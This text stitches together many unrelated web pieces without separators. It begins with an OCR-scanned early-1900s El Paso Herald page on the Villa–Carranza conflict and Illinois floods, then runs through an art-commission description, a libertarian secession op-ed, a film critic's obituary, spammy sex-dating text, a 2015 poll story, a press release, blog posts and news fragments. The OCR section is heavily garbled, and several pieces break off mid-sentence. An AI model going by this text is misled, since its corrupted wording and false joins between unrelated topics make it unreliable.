accounts of a bandit raid on the Al
varado property in ParraL There had
been a rumor here of the execution of
IE of the men concerned in the Santa
Ysabel horror.
Advices to the border further de
clared that a campaign against Gen
Benjamin Argumedo and his allied
forces was about to launch itself from
the Laguna district, with some 4000
men in the column under personal com
mand of Gen. Trevino. who has left
Chihuahua city for Torreon to assume
direction of the military forces to
move northward against Argumedo.
Carrnnra llnck. to Queretarn.
Official advices to the Carranza con
sulate here Friday morning stated that
"first chief Venustlano Carranza and
his government heads had left for Que-
retaro to resume wont on ire organi
zation of the proiisional cabinet and
precoustitutional period In the new sys
tematic reorganization of the Mexican
goernment. The party has been at
Celaa for the nast few days, the con
sulate reported, going over the battle-
Iieid where lien, uareaun a iiro men
defeated Villa's 15,000 In the turning
point struggle of the Carranza-Vllla
warfare of the past year and more.
WSlIIfiTON IIBARS OTII-
I-SG MJW 0- VILLI'S CPTUnn
Washington, D C, Jan. 21 The state
department's only information today
on the reported capture of Gen Fran
cisco Villa was in delated dispatches
from agents at El Paso coneing
(Continued on page S, Col. 1.)
Annual Review
Edition Tomorrow
Tomorrow the El Paso Herald will
publioh its Annual Review edition, a
paper always looked forward to with
interest by those interested in placing
the advantaged of El Pato before the
world. '
Twentv-eight pages of the big
Week End edition are detoted to
nws articles and photographs of de
velopments in El Paso and the Great
Southwest during the year jMit. It
is one of the most complete state
ments of the many advantages of
this section ever printed. You will
want to send copies away to friend-.
Place your orders early.
URE IS
ILLINOIS TOMS
IE SUBMERGED
Score of Cities and Villages
Under Water as Result
of Heavy Rains.
Chicago. Ill, -Ian. 21. Hirers
thrpugbout northern Illinois, swollen
by rain which fell almost continuously
during the night, today overflowed
their banks and inundated a score of
cities and villages. No loss of life was
reported but the property damage was
estimated at several hundred thousand
dollars.
All through the valley of the Des
plaines river, the water spread far over
the lowlands, reaching its height in
the neighborhood of Joliet, where that
city and several villages were flooded.
Sheets of water spread over the west
ern suburbs of Chicago and boats and
nastily constructed rafts were utilized.
Southeastern Iowa and Northeastern
Missouri were also in the rain belt,
which came up from Texas.
Flood waters sweeping down the
Fox river and the Illinois river drove
residents in low lying districts in
Ottawa, Marseilles and Utlca from their
homes.
Ice Jams at tortuous points in the
rivers dammed the waters and threat
ened bridges.
Six of the seven artesian wells
which furnish Aurora's water supply,
had been cut off at noon by inunda
tion from the Fox river. A messenger
was sent throughout the Fox river val
ley advising the inhabitants to prepare
for high water that might sweep
away their homes.
FEAR LEVEE BREAK
IN IMPERIAL VALLEY
Los Angeles, CaL, Jan. 21. A gate in
the diversion dam of the Imperial val
ley irrigation system went, out Thurs-daTJl3iFJWjJrW&-&i6tt3Jda'ger
otaTHpJcln toVlrvaes. aeeording-to.,
advices reeefvea Here today ffofniuraa.
Ariz.
ARIZONA EASTERN RESISTS
STATE'S SCHOOL FUND LEVY
Phoenix, Ariz.. Jan 21 Still another
legal muddle has arisen over the gen
eral appropriation bill passed by the
legislature last spring. The Arizona
Eastern Railroad company has filed a
suit In the superior court at Safford
asking an Injunction restraining the
county authorities from making a state
school fund levy in accordance with
the Instructions of the tax commission.
A similar snit is to be filed at Tucson
and perhaps in other counties.
The legislature appropriated $100,
090 a year for schools but the gover
nor vetoed this section and the supreme
court ruled that the annual statutory
continuing appropriation of $(00,000
would hold Now the Arizona Eastern
contends that as the levy bill passed
by the legislature provided for a levj
of only $100,000. and the $190,000 ap
propriation was vetoed, there a" no
authority for the tax commission to
order any state school fund levy at
all Attorne genera Wile Jones
sajs that this matter is cohered by
another section |
. A UN Committee on the Rights of the Child in 2014 said it was alarmed by widespread violence and sexual abuse of children in India.Commission for HallowPrimordia - Dwell is a godlike character from his original universe called Terraverra, all rights to names and characters belongs to him
Pastel, 100x70 cm.
The first.
Powerful creature, older than the planet he resides. Wise but ferocious, primal, ancestral dragon who started the sentient race long before the local evolution get the idea opposable thumb would be useful. Despite of his intelligence and power his physical appearance is rather primitive, resembling him more to sea, enormous ancient reptiles, than his majestic, flying descendants. Able only to glide he prefers deep, aquatic environment, where his back limbs can be used in full potential and his size is no a problem like during living on land.
In future, when other races will develop, he’ll get a high place in the Pantheon, but that’s another story.
(Details of the vision and my description may be bit different than character actually is - it's my interpretation of him)
Zlecenie dla HallowPrimordia – Dwell jest boską istotą z jego autorskiego uniwersum „Terraverra”, nazwy i postacie należą do niego.
Pastel, 100x70 cm.
Pierwszy.
Potężna, boska istota starsza od planety którą zamieszkuje. Mądry ale groźny, pierwotny przodek smoczej, świadomej rasy którą zapoczątkował wcześniej, niż lokalna ewolucja w ogóle rozważyła przeciwstawny kciuk jako użyteczne rozwiązanie. Mimo inteligencji oraz mocy jaką dysponuje, jego fizyczna budowa jest stosunkowo prymitywna, zbliżając go raczej do wielkich morskich gadów z czasów prehistorycznych niż jego majestatycznych, latających potomków. Zdolny zaledwie szybować preferuje właśnie środowisko oceaniczne, gdzie jego kończyny grzbietowe wykorzystuje z pełnym potencjałem a jego wielkość nie jest takim problemem jak przy funkcjonowaniu na lądzie. Później, gdy inne rasy osiągną wyższy poziom technologiczny i kulturowy Dwell zajmie wysokie miejsce w panteonie – ale to jest już inna historia.
(Moja wizja może nieco różnić się od tej autora, opis to raczej moja prywatna interpretacja postaci)As part of the establishment media’s ongoing project of gerrymandering the liberty movement in advance of the 2016 presidential campaign, the New York Times has published an article purporting to expose some libertarians’ "embarrassing" interpretation of the Civil War.
“In fact, libertarians have spent years trying to deal with the sliver of their movement that is focused on re-litigating the Civil War. Yes, the Civil War, which officially ended 148 years ago,” declares the Times' Rachel Weiner.
As one slogs through Weiner’s repetitive and meandering article, the not-at-all-subtle subtext jumps off the page and slaps the reader. The between-the-lines battering ram: Libertarians are racists. Well, except for the establishment-approved libertarians.
Proof of the latent “neo-Confederate” racisms, according to Weiner, is the libertarian criticism of Abraham Lincoln. “And there are some ideological similarities that explain the gravitation of the anti-Abraham Lincoln crowd to the pro-liberty movement,” Weiner writes.
What could libertarians possibly have against the founder of modern centralization, a man who viewed the United States less as a union and more of a nation — an opinion, by the way, that would have resulted in immediate excommunication from the Constitutional Convention of 1787.
As libertarian and nullification expert Tom Woods wrote a recent blog post:
The precedents set by Lincoln during the war have been exploited ever since by left-liberals and neoconservatives, who are all too glad to respond, when you object to some enormity of the War on Terror, “Why, even Lincoln did these things!”
In every other country in our hemisphere in which slavery was abolished in the nineteenth century it was done peacefully, without 1.5 million people dead, wounded, or missing.
The Lincoln legacy involves glorifying wars of nationalism and demonizing efforts at secession, wherever they may be and whatever the circumstances. To this day, Americans are taught to sympathize with central governments trying to keep territories from breaking away, and to look with disgust at smaller units seeking self-government.
Of course, to the water carriers of consolidated government such as the New York Times and Reason magazine (this “libertarian” outlet is sequestered from their racist colleagues. In her article, Weiner informs readers that Reason is “firmly in the anti-neo-Confederate camp,” citing their criticism of Ron Paul for “allying himself with that strain in libertarianism”), anyone who makes the mistake of supporting states’ rights also supports slavery.
“Libertarians are anti-war and in favor of market-based solutions, and some argue that even though slavery was abominable, it would have ended for economic reasons with far less bloodshed if the North had allowed the South to secede,” Weiner says.
Weiner’s inability to wrap her head around complex issues is on display best in the following selection from her article:
“Though I think Lincoln was the worst tyrant in U.S. history and his war was illegal, immoral, unconstitutional, I do not think the [Confederacy] was some quasi-libertarian bastion of freedom or justified,” said Stephan Kinsella. “The real enemy is, as always, the State — whether it be the USA or the [Confederate States of America].”
That thread of thinking makes it hard to know where to draw the line when some self-described libertarians edge over from criticizing the Union to celebrating the Confederacy.
Could Kinsella have been any clearer in his condemnation of all statist attempts to curtail liberty?
Overall, Weiner and the libertarians she shields from her racist smear believe that the United States is a consolidated nation and that the states are obstructionist at best.
The right to secede, according to this set, does not exist, and the Civil War settled that question once and for all.
The Civil War made one thing clear: The federal government believes (and the Confederacy was forced to concede) that might makes right. The Union army defeated the army of the Confederacy; therefore, so the thinking goes, secession is no longer a constitutional remedy available to states. Might makes right.
Only it doesn’t. Think of it this way. Assume my neighbor and I disagree over the exact location of the boundary line between our properties. One day, while I’m out building a shed that my neighbor believes encroaches on his property, we start arguing and the argument escalates to a full-fledged fist fight and I knock out my neighbor. Does that mean that the location of our mutual property line has been settled? Does the pummeling of my neighbor make my opinion of the location of that line the legal boundary? Of course not. Might, it seems, does not make right, neither in boundary disputes regarding land nor in similar conflicts over state sovereignty.
One more analogy to help Weiner and others understand secession.
Assume that a number of homeowners in a neighborhood get together to improve the security, safety, and prosperity of the neighborhood by forming a homeowners association (HOA). The neighbors draw up a covenant and grant to the HOA certain enumerated powers. The new HOA is authorized to pass rules restricting the parking of cars on the street, the length of a lawn, the color a house in the group can be painted, and how tall a home can be built.
Let’s assume that our imaginary HOA has a covenant granting oversight of just those few areas to an HOA council. Present and future homeowners are made aware of the covenant and they are bound to conform to its mandates.
Imagine if one day, the HOA council passes a resolution mandating that every resident of the neighborhood purchase a Toyota — a green Toyota Camry, to be precise. Inspectors hired by the HOA council are sent out to watch every house, check every garage, and verify vehicle registrations to make sure the edict is obeyed.
Would the homeowners be required to heed this resolution? Additionally, in whom would be the right to decide if adoption of the car mandate was within the power of the HOA? The homeowners, of course!
Do you think the homeowners would recognize the right of the HOA council to decide the legitimacy of its car mandate? When property owners began complaining about the obvious overreach at the next general meeting of the HOA council, do you think they would be assuaged by the council’s reassurance that the dictate was perfectly within its covenant authority?
What would happen if the council then insisted on the purchase and ratified its own ruling? Can you imagine a single homeowner who would accede to that sort of ordinance inanity?
Assume, for argument’s sake, that one or more of them ran down and traded in their cars in order to conform to the car mandate. Would that affect the HOA agreement? Would the HOA have those powers? Would one homeowner’s refusal to obey the mandate, moreover, have any bearing whatsoever on a neighbor’s compliance?
Somehow the simplicity of this elementary lesson in contract law is lost on establishment-friendly libertarians (Tom Woods calls them “sweetie pie libertarians”). Perhaps it is not lost on them, but the heft of the logic is outweighed by the seductive siren call of establishment favor.
Finally, the circular, self-aggrandizing reasoning of this claque of journalists is no better displayed than in the last sentence of the New York Times article.
“All of which is a sign that this tension within libertarianism is not going away any time soon,” writes Weiner.
Liberty is larger than labels, though, and those who are engaged in the fight to restore constitutionally protected freedom and limited government to Washington, D.C. will not — any time soon — fall for the establishment’s balkanization of their ranks and the construction of ghettos within the expanding landscape of the liberty movement.
Joe A. Wolverton, II, J.D. is a correspondent for The New American and travels frequently nationwide speaking on topics of nullification, the NDAA, and the surveillance state. He can be reached at This email address is being protected from spambots. You need JavaScript enabled to view it.As of of the writing of this story, Whitney Riley's "Stitched" Kickstarter project is more than halfway to her $15,000 goal, with just over a week to go. Collaborating with Y.U.M. in Indonesia, the "Stitched" project endeavors to bring unique, one-of-a-kind fashion to the market without the use of sweatshops. According to the campaign's Kickstarter page:
Made in sweetshops not sweatshops, Stitched handbags transcend their pragmatic purpose combining wearable art and social responsibility. Designed with imaginative care these bags are inspirations and not just disposable fabrications.
In an effort to spread the word about her products, and her Kickstarter campaign, Riley is throwing a "Sweet! Stitched Brand Bags Kickstarter Party" (along with Hello Lucky, and Hunter Gatherer) at G Gallery on Thursday, August 29 at 6 p.m. that will include music, food and drink, and a fashion show featuring her bags.1 of 1 2 of 1
One of Canada's leading authorities on international films has died.
Mark Harris, a UBC film-studies instructor and veteran movie critic for the Georgia Straight, suffered a pulmonary embolism yesterday (February 26). He was 62.
Harris had recently been diagnosed with lymphoma, but was optimistic about his prognosis.
His wife, therapist and counsellor Carola Ackery, told the Straight that Harris "sent thousands of film students into the world, and he was proud of that".
"My grief is quite uncomplicated," she said. "We got to travel a lot and we didn't have any bad stuff to work out. We were a great couple—just right for each other, and not everyone can say that."
Straight arts editor Janet Smith said that there probably isn't another film critic in Canada with Harris's depth of knowledge about European and particularly French films.
But she added that he was also an expert in many other genres, including Korean horror movies.
"When you think about his expertise, it was just so diverse," Smith said. "He had almost a steel-trap memory, where he could refer to little details in one film while he was reviewing another. It's going to be impossible to ever replace somebody who had that much knowledge."
He wrote approximately 3,000 articles and essays in numerous publications. He was also a highly regarded expert on the translation of movies into different languages, as well as subtitling and dubbing.
Harris was a warm-hearted man bursting with passion and energy, supplemented with a wicked sense of humour. Often spotted around town in a hat that barely kept his long unkempt hair in check, he spoke quickly and in a loud voice.
On the ratemyprofessors.com website, his students raved about his engaging and often humourous lectures. Here are just a few of the quotes:
"A man of intellect and humour, almost eccentric in his mannerism. I don't think I ever laughed so hard in a class as I did in his first lecture." "One of the most interesting people I have ever met, and just might be the most intelligent." "Awesome prof!!! He really knows what he is talking about..."
Writer Allan MacInnis, a former student of Harris, wrote an affectionate blog post describing him as "filled with enthusiasm for cinema", adding that he "lectured in the rather blustery, improvisatory, passionate manner of a sincere but studied eccentric".
"He remains the only teacher I have ever encountered in any school of any sort to use the word 'cocksucker' during a lecture—and I mean this as a point in his favour (for the record, he was illustrating a point by describing a scene from Deadwood, where the word appears frequently)," MacInnis wrote.
In a 2004 article in UBC Reports, Harris declared that his course, The Art of Subtitling, was a counterattack against former Motion Picture Association of America president Jack Valenti's desire to flood the world with U.S. films.
"I want to have genuine globalism versus the phone globalism we have now," Harris said at the time. "Why is it that with 150 channels, we can't see Indonesian flying head movies? Why do we just get reruns of Seinfeld or MASH?"
Around the Georgia Straight office, Harris was appreciated for populating his annual Top 10 movies list with motion pictures from around the world and his enthusiasm for movie festivals.
"When we would cover the Vancouver Film Festival, he would be down there practically waiting...for the doors to open so he could exchange his films and get some more," Smith recalled. "It was in his blood. He just loved film more than anyone else I know."
In 2012, one of his favourites was Rust and Bone, a French feature made by Jacques Audiard. Here's a portion of Harris's erudite review:
At first glance, Ali (Matthias Schoenaerts) and Stéphanie (Marion Cotillard) would seem to have little in common. Due to a lack of education and employment opportunities, he sinks into the netherworld of extreme fighting. Although her beginnings are probably sunnier, Stépahanie’s nightmare is still worse, because she loses both legs in an accident at Marineland d’Antibes. Yet a strong bond gradually develops between these unlikely lovers who are united by the fact that they both live primarily through their bodies, not their minds. And if the culture of poverty in which he grew up causes Ali to sometimes behave in a strange fashion towards those around him, Stéphanie’s socialization process seems to have been equally bizarre. Because of its radical originality, Rust and Bone is not a film you are likely to compare to other movies. Instead, in the fullness of time, other movies will most likely be compared to it.
More of his reviews are available here.
He obtained a PhD from UBC, wrote poems and plays, and used to be the programming director at Pacific Cinémathèque.
Harris was at Vancouver General Hospital waiting to see an oncologist when he died. A nearby movie crew filmed as emergency officials tried without success to revive him.
"It's hard to miss the irony," Ackery said. "It was the right place for Mark to be, in a terrible way, in a movie."
The Straight will offer more coverage of Harris in the coming days.First of all guys do you know what is affair and physically Relationship? Well, it is the relationship where two humans are attached in relationship without any emotionally promises. They are not constraint to any responsibility of having affair relationship with sex dating girls. Men are more involved in this type of relationship in compare to women. Men can interest to the affair with girls but do not make a long term relationship with their hot girl.
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It is the true saying that “First Impression is the Last Impression” so when foreign girls find you’re an interesting guy in your first impression then you will have more chances to pick her in your bed soon. When you decide to make affair with foreign girls you must know your partner interest and their feeling. So if you have a willingness to discover lots of foreign girls from affair and sex dating then your must try reliable online dating sites and also gives best tips for affair….A new poll finds Sen. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE (I-Vt.) leading Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE by 7 points in New Hampshire.
Sanders commands 43 percent to Clinton’s 36 percent in the race for the Democratic presidential nomination in the Granite State, according to the latest Monmouth University sampling.
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Vice President Biden, who is considering a late entry into the presidential race, trails the pair with 13 percent, while former Gov. Martin O’Malley (D-Md.) gets 2 percent.
Former Gov. Lincoln Chafee (D-R.I.), former Sen. Jim Webb (D-Va.) and Harvard Law School Professor Lawrence Lessig each receive 1 percent.
Sanders has an edge over Clinton in New Hampshire with both genders, leading men 44 percent to 34 percent and women 42 percent to 38 percent.
Democratic voters in the state also have a more favorable view of Sanders than Clinton.
Eighty-three percent of Granite State Democrats view Sanders favorably, compared with 7 percent who view him unfavorably. Seventy-seven percent of voters said they view Clinton favorably, compared with 17 percent who see her unfavorably, the poll found.
Clinton has seen her lead over Sanders evaporate in New Hampshire, the second state in the nominating process.
Still, Clinton maintains a strong lead over the Vermont liberal in national polls, taking 44.2 percent support to his 22.6 percent, according to the latest RealClearPolitics average.
Monmouth University conducted the new poll of likely Democratic caucus-goers from Sept. 10 to Sept. 13 via telephone. It surveyed 400 New Hampshire Democrats and has a margin of error of 4.9 percent.
— This story was updated at 12:37 p.m.EPISODE DESCRIPTION
December 21st 2012 came and we're all still alive to rap about it! On this edition of the Reality Sandwich Podcast - Gabriel D Roberts returns for an interview with Graham Hancock. Our resident sacred economist Charles Eisenstein interviews the legendary Joseph Chilton Pearce. And Erin Shaw brings us an interview with David Jay Brown on his latest book Psychedelic Drug Research: A Comprehensive Review. Also Sister H and OddEdges go over the news and their December 21st 2012 experience.
Thanks to everyone who submitted music! It was a wonderful thing to behold in our inbox. If you'd like to hear your music on Reality Sandwich or, if you'd like to tell us about your 12.21.12 adventure, float music, pictures, or stories our way: podcast@realitysandwich.com.
Find us on Facebook: "Evolver Social Movement"
PLAYLIST
MAN CRAB by HARRY SELASSIE
THE CLOCK by THE SOMBER VOICE
FIRE by ONE SEVENTEEN
SYNCHRONICITY by ASTROLAB
CRIK by MICHELLE BELLEROSE
MAMA PROVIDES by FATHERS & SUNSInternal Documents Refute GOP Narrative on Interior Department Consultation on Bears Ears National Monument
Washington, D.C. – A new memo detailing internal documents produced by the Department of the Interior in response to a request by the House Committee on Oversight and Government Reform shows a years-long record of extensive contact between agency officials and a wide array of federal, state, and local stakeholders leading up to the designation of Bears Ears National Monument—directly contradicting the Republican narrative that Bears Ears and other federal monuments designated pursuant to the Antiquities Act were established without adequate consultation or local support.
These new documents shed light on the Obama administration’s extraordinary efforts to collaborate with stakeholders in the years before the Bears Ears designation, and they offer Interior Secretary Ryan Zinke—who appears to have postponed a planned visit to Utah to discuss Bears Ears—a window into the careful, multi-party consultation that preceded the designation.
For example, a Timeline of Events provided by the Department demonstrates interactions between former Secretary Sally Jewell and Utah’s congressional delegation as early as 2013. The documents also include a proposed map for conservation areas and land management options shared between local activists, lawmakers, and agency officials.
In addition, the documents include email correspondence showing that Interior Department officials were in regular contact with the office of Governor Gary Herbert and other state officials, and that the Governor’s staff offered unsolicited praise for the accessibility and professionalism of Department officials. Documents also show that the offices of Senator Mike Lee, Senator Orrin Hatch, Rep. Rob Bishop and Rep. Jason Chaffetz—all Republicans of Utah—communicated with Department officials often during negotiations on the future of Bears Ears.
Bears Ears has become a flash point in the growing GOP effort to weaken the Antiquities Act and roll back public lands protections across the country.
Bishop and Chaffetz sought for years to establish management guidelines for Bears Ears though a legislative initiative known as the Public Lands Initiative (PLI), and the Department provided technical assistance for this effort. However, the PLI lost support in 2015 when tribal leaders concluded that Republican lawmakers stopped taking their concerns seriously. The Bears Ears Inter-Tribal Coalition—which includes the Hopi Tribe, Navajo Nation, Ute Mountain Ute Tribe, Pueblo of Zuni and Ute Indian Tribe—began working with Department officials to establish Bears Ears National Monument only after a lengthy but unsuccessful attempt to collaborate with Bishop and Chaffetz through the PLI.
“If anyone wants to paint Bears Ears National Monument as a surprise or the product of rushed or incomplete planning, they’ll have to explain hundreds of emails and dozens of pages of shared work product,” said Rep. Raúl M. Grijalva (D-Ariz.), Ranking Member of the House Committee on Natural Resources. “These documents are an exemplary record of public servants going above and beyond to find a workable solution to a complicated issue, and they show Democrats and Republicans working together more often than not. If a governor said half the nice things about me that Governor Herbert’s office said about the Interior Department during this process, I could retire a happy man. The future of Bears Ears should be based on this record of collaboration, not on some after-the-fact political narrative that serves a few narrow interests at everyone else’s expense.”
“Contrary to some claims, these documents indicate that the Department of the Interior consulted closely with the Utah delegation, its residents, tribes, and local stakeholders about the Bears Ears Monument,” said Rep. Elijah E. Cummings (D-Md.), Ranking Member of the House Committee on Oversight and Government Reform. “Taken together, these documents demonstrate a lengthy and productive working relationship between the Department and multiple stakeholders, they include frequent acknowledgment of the Department’s eagerness to accommodate third party needs, and they show that many local officials strongly supported a monument designation.”
Press Contact
Adam Sarvana
(202) 225-6065 or (202) 578-6626About
Be a part of something that will last an entire year.
STARTING JANUARY 1, 2014:
Take a trip with with us across the United States. See things you've never seen or knew existed. Meet the people we meet on the road. Share our experience as we hop from state to state over the course of the year.
EVERY DAY:
We will be taking hundreds of photos daily somewhere in the United States. Whether it be landscape, portrait, macro, sports... You will see America through our lens on a daily basis. Taking photos of iconic places and those off the beaten path. Interviewing people well-known and not known at all. All of our work will be fed directly to you. This will all culminate with a documentary film, which you will also receive.
$10 FOR A YEAR'S WORTH OF DAILY ENTERTAINMENT:
$10 gets you the picture of the day in your email. See what we're doing, where we're doing it, EVERY DAY! You'll gain access to our social media accounts. We'll be posting frequently every day, pics, interviews, videos, tweets, wherever we may be.
Upon completion of the project you will receive the documentary and a numbered (# of 100,000) random print of one of the 365 photos from the year along with a personalized thank you note from us.
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We are feverishly researching places, things and contacting people to photograph over the course of 2014. We also want to know what you think we should shoot over the course of the project. The U.S. is vast and we don't want to miss something awesome. Contact and guide us to our next great shot or story.
SHARE:
If you want to see this happen, share this link on Facebook, Twitter, through e-mail, by phone. The only way this project happens is with your help and spreading the word.
LEGACY:
Our hope is that after we have completed the year 2014 that another photographer will step up and take over in 2015. This is the kind of project that should happen every year.
Schedule:
1. Virginia: January 1 - 6
2. North Carolina: January 7 - 13
3. South Carolina: January 14 - 20
4. Georgia: January 21 - 27
5. Florida: January 28 - February 3
6. Alabama: February 4 - 10
7. Mississippi: February 11 - 17
8. Tennessee: February 18 - 24
9. Missouri: February 25 - March 3
10. Kansas: March 4 - 10
11. Colorado: March 11 - 17
12. Oklahoma: March 18 - 25
13. Arkansas: March 26 - April 1
14. Louisiana: April 2 - 8
15. Texas: April 9 - 18
16. New Mexico: April 19 - 26
17. Arizona: April 27 - May 4
18. California: May 5 - 15
19. Hawaii: May 16 - 22
20. Oregon: May 23 -29
21. Alaska: May 30 - June 5
22. Washington: June 6 - 12
23. Idaho: June 13 - 19
24. Nevada: June 20 -26
25. Utah: June 27 - July 3
26. Wyoming: July 4 - 10
27. Montana: July 11 - 17
28. North Dakota: July 18 - 24
29. South Dakota: July 25 - 31
30. Nebraska: August 1 - 6
31. Iowa: August 7 - 13
32. Minnesota: August 14 - 20
33. Wisconsin: August 21 - 27
34. Illinois: August 28 - September 3
35. Indiana: September 4 - 10
36. Michigan: September 11 - 19
37. Ohio: September 20 - 26
38. Kentucky: September 27 - October 3
39. West Virginia: October 4 - 10
40. Maryland: October 11 - 17
41. Delaware: October 18 - 24
42. New Jersey: October 25 - 31
43. Pennsylvania: November 1 - November 9
44. New York: November 10 - November 18
45. Connecticut: November 19- 25
46. Rhode Island: November 26 - December 2
47. Massachusetts: December 3 - December 9
48. New Hampshire: December 10 - 16
49. Vermont: December 17 - 23
50. Maine: December 24 - 31Revolutions, and kindly contributed to (This article was first published on, and kindly contributed to R-bloggers)
Positional bias — the tendency for users to preferentially select results in the first few positions of a search — is a big issue for all kinds of search engines. But for online travel site Orbitz the stakes are higher than for a traditional Web search engine: if a customer chooses the first-listed hotel in a search for accommodations, but will be dissatisfied with their stay, that means Orbitz will soon have an unhappy customer. So for Orbitz, a key problem was to optimize their hotel search results for customer satisfaction.
As Orbitz's Jonathan Seidman (Lead Engineer on the Intelligent Marketplace/Machine Learning Team) and Ramesh Venkataramaiah (Principal Engineer on the Operations and Engineering Team) revealed in presentations to the WindyCityDB and Hadoop World NYC conferences, Orbitz solves this problem by using R to perform statistical analysis on data stored in Hadoop and extracted with Hive.
After extracting data including customer hotel booking records and user ratings of hotels from Hive, the Orbitz team used statistical analysis to identify the best hotel to promote to the top of the list for each new booking. Ramesh reports that the statistical techniques included liner filtering of time series (via the filter function) and applied moving averages with equal weights. These models even allowed for seasonal trends to be incorporated into the recommendations — for example, the fact that longer hotel stays tend to be booked in the summer months, as shown by the red days in this calendar heat map:
This is another great example of applying advanced statistical and visualization techniques in R to large and complex data sets stored in a Hadoop environment. See the full slide deck for other analyses employed by the Orbitz team, including hexagonal binning charts to identify positional bias and kernel density estimation to model hotel ratings. As Ramesh says in the presentation, R has a "steep learning curve, but worth it!".
Slideshare.net: Using Hadoop and Hive to Optimize Travel Search
RelatedFear and Loathing in Geekdom #19: I’ll Remake You, You Sonuvabitch!
“Why would you remake Robocop? You wouldn’t remake Gone with the Wind.”
– Comic Book Daily Writer Ed Campbell
When I lived in the Barrie area, I used to have weekly Wednesday night dinners with two of my friends from the local comic shop. It was a pretty solid excuse to get out of the house for the evening and geek out or perhaps Geek Hard as the phrase goes (Andrew’s smiling at that, I know he is). Recently, I was back in town and I met up with a few of those friends, including Ed Campbell, and discussion turned to movies and the Robocop remake came up. Then came the opening lines of this column.
While it may seem a little bit on the extreme side, Ed’s kind of got a point… well for me anyways. Robocop is pretty well perfect. There isn’t anything really worth changing in it. The effects may seem a little dated and it is a film firmly entrenched in/making fun of the 80’s, but you could really say similar things about Gone with the Wind or Citizen Kane. By today’s standards, the films may be dated but they are also timeless.
All of this lead to a conclusion.
I’m kind of tired of pointless remakes.
Every week we hear stories of yet another film that is apparently going to be remade. And most of the time it’s a film that doesn’t need it. Robocop, Evil Dead, fuck, the Dukes of Hazzard is being rumored to fall into remake/reboot land YET AGAIN!
A few years ago, I was discussing Lord of the Rings with a friend of mine. She’s a huge fan of the books as is her family and for the most part they hate the films. Her dream was that Hollywood would see the light and remake Lord of the Rings in a way closer to the books, possibly an HBO mini-series or something of that ilk. Long form getting everything in.
At the time, I kind of scoffed at the idea. Whether you liked them or not, Lord of the Rings made a super-ton of money. Gold-plated rocket car money. To even think about a remake seemed rather unlikely. This was in 2002.
Now I’m not so sure.
Take The Amazing Spider-Man.
I know there are a lot of people out there who didn’t like Raimi’s Spider-Man films and I can kind of get that but these are films that made a lot of money and a lot of people enjoyed them. I’m one of those people… except for part three. I’m one of those guys who will buy complete sets of movies just because I like having the complete set (for example I own all THREE Robocops) but I still haven’t seen the DVD or blu-ray at a price low enough that I’d consider buying The Spider-Man Trilogy. It was that unsatisfying a film.
Despite the third part being a piece of crap, I have no real desire to see The Amazing Spider-Man. Sure the effects look cool and he looks to be a more wise-cracking Spidey but on a whole, I just don’t need to see another Spider-Man origin.
You don’t have to reboot/remake everything.
Just make another movie.
Take The Incredible Hulk for example. I enjoyed the hell out of it and was it a remake? No, it was a very soft reboot. It accepted that there was another Hulk movie but it didn’t reference it nor did the film makers feel that it owed the Ang Lee version anything. They gave you a very quick origin story during the credits and it was done.
And I don’t think you even have to go that far. The Amazing Spider-Man will be a good chunk of origin. How much? We don’t really know but given the fact that Uncle Ben is being played by Martin Sheen, I think it’s safe to say he will be on screen for a while.
But why? Would it be really so hard to just do what the Incredible Hulk did? Have an origin sequence in the credits and then BLAM – you’re into the movie.
Or how about we just start the film with Peter as Spider-Man in high school?
Is that really that hard? Yes, I’m well aware that there are a lot of dumb people out there and a lot of people with no attention span, but I’m pretty sure at least 80% of them can figure out the whole “got bit by a radioactive spider” bit.
Up until recently, James Bond films didn’t connect virtually at all and lo and behold, people still went and saw them even when they changed actors!
Don’t remake Robocop. Just make another one. Part Man, Part Machine, All Cop, GO! You don’t have to be a slave to continuity if you don’t want to. Hell if Robocop looks different, just mention it offhandedly. “Wow Murphy, those upgrades to your armor sure are sweet.” There, I just set up all the changes to Robocop’s look in one sentence. Not a very good one but I’m sure if I was a writer that got paid a couple hundred thousand to write a new Robocop film, I could do a bit better.
As long as you have the character right, it doesn’t really matter how he got there. Just that he’s there now.
If you really have this awesome idea for a cyborg cop that is unique and different, make that movie and call it something else. When Nolan’s Batman series ends this summer, don’t reboot the franchise yet again. Just make another Batman movie with someone else as Batman. We don’t need an origin story again. Same goes for The Man of Steel. My mom can give you a brief rundown on Superman’s origin and I doubt she really remembers any of the films beyond the original Superman (maybe parts of 2). She didn’t really watch Lois and Clark and I highly doubt my Mom’s seen any episode of Smallville. It’s just part of the public consciousness at this |
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Correction, Feb. 12, 2016: The article originally misquoted a debate question by paraphrasing it, rather than quoting the moderator word-for-word.
Read more Slate coverage of the Democratic primary.WASHINGTON -- Some of the most pointed comments in the wake of Saturday's tragic shooting in Arizona regarding the dangers of vitriolic political discourse have come from Pima County Sheriff Clarence Dupnik, who said his state has "become the mecca for prejudice and bigotry." As a consequence of speaking out, Dupnik is now coming under attack, with a talk radio host even calling for his resignation.
"When you look at unbalanced people, how they respond to the vitriol that comes out of certain mouths about tearing down the government," said Dupnik at a press conference Saturday. "The anger, the hatred, the bigotry that goes on in this country is getting to be outrageous. And unfortunately, Arizona I think has become sort of the capital. We have become the mecca for prejudice and bigotry."
Although Dupnik has since been embraced by many observers -- there's a "Clarence Dupnik is My Hero" Facebook page, and MSNBC's Keith Olbermann called his comments "extraordinary" -- others are not so pleased.
In an interview with CBS's "Face the Nation," Sen. Jon Kyl (R-Ariz.) said Dupnik's comments were inappropriate and nothing more than "speculation."
First, I didn't really think that that had any part in a law enforcement briefing last night. It was speculation. I don't think we should rush to speculate. I thought that the report that we just saw from Tucson seems to have it about right: We really don't know what motivated this young person except to know he was very mentally unstable as was pointed out in the piece. It's probably giving him too much credit to ascribe a coherent political philosophy to him. We just have to acknowledge that there are mentally unstable people in this country. Who knows what motivates them to do what they do? Then they commit terrible crimes like this. I would just note Gabrielle Giffords, a fine representative from Tucson, I think would be the first to say don't rush to judgment here.
WATCH:
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Right-wing radio host Jon Justice, who is on KQTH FM 104.1 in Arizona, has called for Dupnik's resignation and taken issue with the sheriff's singling-out of talk radio.
